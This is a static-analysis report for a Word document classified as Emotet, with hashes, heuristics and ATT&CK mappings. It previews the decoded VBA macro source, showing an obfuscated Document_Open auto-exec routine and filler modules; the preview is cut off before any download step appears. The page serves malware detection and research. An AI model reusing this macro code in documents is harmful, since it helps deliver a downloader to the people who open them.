Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 df76c10a15df437e…

MALICIOUS

Office (OLE)

145.3 KB Created: 2020-02-05 06:51:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: baa391d847653874f77ade1dab4c2934 SHA-1: becabbdd1a93f59c2fd7104e090dd7b457ba9edb SHA-256: df76c10a15df437e47d1cc88ea75e3fc91a8d837da24d1a7699b87ce943cdd08
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. The ClamAV detection also confirms the Emotet family. The VBA code likely executes a command stager to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7577855-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577855-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32988 bytes
SHA-256: 33f598564616f13809877a10041b2d551ed9d809c38ef6bc9597b419b7b8839f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jfpeclyblwjn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   HgKlHeRxyx = Trim$("    fpCzbOrrBK       ")
eYCgTHbUrq = Trim$("    kSTokTqrAE       ")
AepzxwaawS = Trim$("    vcNMCvZAtj       ")
hRoTwUiEiW = Trim$("    GeEhhzvoze       ")
wqPQZAJhhx = Trim$("    wjOhwARgBL       ")
EZTGslBbfq = "zSzItGhKYQ"
sPkiPWgEFY = 112628
EZTGslBbfq = EZTGslBbfq & CStr(sPkiPWgEFY)
FlAUEmBDUn = EZTGslBbfq
Gjtwcbhkrrm.Rekiwrjid
End Sub

Attribute VB_Name = "Nsskgikvi"
Attribute VB_Base = "0{1AAB3053-FBCE-49A4-A976-5167C320B218}{17508FF4-508C-419E-BB83-75A6F6496EA7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pxtevpjny"
Attribute VB_Base = "0{D166229C-0027-4573-A416-7F942C56044B}{1F8483FF-4D05-442E-ADBD-949C72CE105F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ezbjmqrhzfwk()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Slzofajtoppo"
Attribute VB_Base = "0{0FB1DF62-3C11-4D0A-960D-66BDE0CDAE2F}{9426875B-E1A0-417D-9241-E87547782F2F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Mivmrruhg()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Tmckcsmmkd"
Attribute VB_Base = "0{72124EF7-EDFB-421C-8DEC-61096B13CFDA}{3C8AB7C4-4E95-4ECA-8484-DCB975E53AFF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ysymllmuxp()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Qjktpykexemn"
Attribute VB_Base = "0{D5B77475-F34F-46C0-A533-9662812F664B}{834DCD66-5795-48C8-BEAB-3C457C62C07B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Lwcbpdhywt()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Jvugldbht"
Attribute VB_Base = "0{712CFEF0-848E-4B21-9490-B8BBBFCF6317}{B50253E8-4328-486A-898E-C9E905382A84}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Twlszmtgkf()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Pswahnsm"
Attribute VB_Base = "0{3AC35A12-5D58-48B5-A9BE-143AD82B218A}{278B3D0A-FEAA-40C7-B464-2307B8F71383}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Kppkqsim()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Rojeekilcni"
Attribute VB_Base = "0{28283F03-61FD-4C5C-A604-820EEC392100}{574708BC-A69F-4742-AA82-58AF8FF8C495}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vfopdttbg()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Gjtwcbhkrrm"
Function Rekiwrjid()
   HgKlHeRxyx = Trim$("    fpCzbOrrBK       ")
eYCgTHbUrq = Trim$("    kSTokTqrAE       ")
AepzxwaawS = Trim$("    vcNMCvZAtj       "
... (truncated)